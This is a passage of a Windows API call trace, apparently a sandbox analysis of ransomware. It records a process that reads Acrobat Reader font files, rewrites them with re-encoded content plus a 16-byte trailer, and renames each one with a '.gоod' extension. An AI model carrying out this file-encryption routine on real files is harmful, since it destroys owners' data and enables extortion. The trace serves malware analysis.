lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0099.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.860] GetFileType (hFile=0x7c4) returned 0x1 [0099.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.895] GetFileType (hFile=0x7c4) returned 0x1 [0099.895] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x183e8 [0099.895] WriteFile (in: hFile=0x7c4, lpBuffer=0x34cfa80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x34cfa80*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0099.896] CloseHandle (hObject=0x7c4) returned 1 [0099.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0099.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0099.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0099.896] GetFileType (hFile=0x7c4) returned 0x1 [0099.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0099.896] GetFileType (hFile=0x7c4) returned 0x1 [0099.896] ReadFile (in: hFile=0x7c4, lpBuffer=0x34d1eb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x34d1eb8*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0100.043] CloseHandle (hObject=0x7c4) returned 1 [0100.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0100.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.077] GetFileType (hFile=0x7c4) returned 0x1 [0100.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.077] GetFileType (hFile=0x7c4) returned 0x1 [0100.077] WriteFile (in: hFile=0x7c4, lpBuffer=0x33621b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x33621b8*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0100.078] CloseHandle (hObject=0x7c4) returned 1 [0100.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf", lpFilePart=0x0) returned 0x51 [0100.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf.gоod", lpFilePart=0x0) returned 0x56 [0100.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0100.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x37de3b01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x183f8)) returned 1 [0100.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0100.078] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-BoldIt.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-boldit.otf.gоod")) returned 1 [0100.079] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0100.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), fInfoLevelId=0x0, lpFileInformation=0x338d958 | out: lpFileInformation=0x338d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e08)) returned 1 [0100.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0100.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.080] GetFileType (hFile=0x7c4) returned 0x1 [0100.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.080] GetFileType (hFile=0x7c4) returned 0x1 [0100.080] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0100.080] ReadFile (in: hFile=0x7c4, lpBuffer=0x338dda0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x338dda0*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0100.082] CloseHandle (hObject=0x7c4) returned 1 [0100.082] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.082] GetFileType (hFile=0x7c4) returned 0x1 [0100.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.082] GetFileType (hFile=0x7c4) returned 0x1 [0100.082] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x17e08 [0100.082] WriteFile (in: hFile=0x7c4, lpBuffer=0x338f050*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x338f050*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0100.083] CloseHandle (hObject=0x7c4) returned 1 [0100.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.084] GetFileType (hFile=0x7c4) returned 0x1 [0100.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.084] GetFileType (hFile=0x7c4) returned 0x1 [0100.084] ReadFile (in: hFile=0x7c4, lpBuffer=0x3391328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3391328*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0100.113] CloseHandle (hObject=0x7c4) returned 1 [0100.113] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.114] GetFileType (hFile=0x7c4) returned 0x1 [0100.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.114] GetFileType (hFile=0x7c4) returned 0x1 [0100.114] WriteFile (in: hFile=0x7c4, lpBuffer=0x3390068*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3390068*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0100.114] CloseHandle (hObject=0x7c4) returned 1 [0100.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf", lpFilePart=0x0) returned 0x4d [0100.114] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf.gоod", lpFilePart=0x0) returned 0x52 [0100.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0100.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x37e2ffe8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17e18)) returned 1 [0100.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0100.115] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-It.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-it.otf.gоod")) returned 1 [0100.115] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0100.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x340d9c0 | out: lpFileInformation=0x340d9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b30)) returned 1 [0100.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0100.115] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.116] GetFileType (hFile=0x7c4) returned 0x1 [0100.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.116] GetFileType (hFile=0x7c4) returned 0x1 [0100.116] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0100.116] ReadFile (in: hFile=0x7c4, lpBuffer=0x340de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x340de28*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0100.627] CloseHandle (hObject=0x7c4) returned 1 [0100.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.627] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.627] GetFileType (hFile=0x7c4) returned 0x1 [0100.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.627] GetFileType (hFile=0x7c4) returned 0x1 [0100.627] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x17b30 [0100.628] WriteFile (in: hFile=0x7c4, lpBuffer=0x34618c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x34618c8*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0100.628] CloseHandle (hObject=0x7c4) returned 1 [0100.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.629] GetFileType (hFile=0x7c4) returned 0x1 [0100.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.629] GetFileType (hFile=0x7c4) returned 0x1 [0100.629] ReadFile (in: hFile=0x7c4, lpBuffer=0x3463be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3463be0*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0100.658] CloseHandle (hObject=0x7c4) returned 1 [0100.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0100.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.659] GetFileType (hFile=0x7c4) returned 0x1 [0100.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0100.659] GetFileType (hFile=0x7c4) returned 0x1 [0100.659] WriteFile (in: hFile=0x7c4, lpBuffer=0x3462910*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3462910*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0100.659] CloseHandle (hObject=0x7c4) returned 1 [0100.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf", lpFilePart=0x0) returned 0x52 [0100.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf.gоod", lpFilePart=0x0) returned 0x57 [0100.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0100.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3836a535, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17b40)) returned 1 [0100.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0100.659] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\MyriadPro-Regular.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\font\\myriadpro-regular.otf.gоod")) returned 1 [0100.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0100.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM", lpFilePart=0x0) returned 0x40 [0100.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.979] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.980] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0100.980] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, 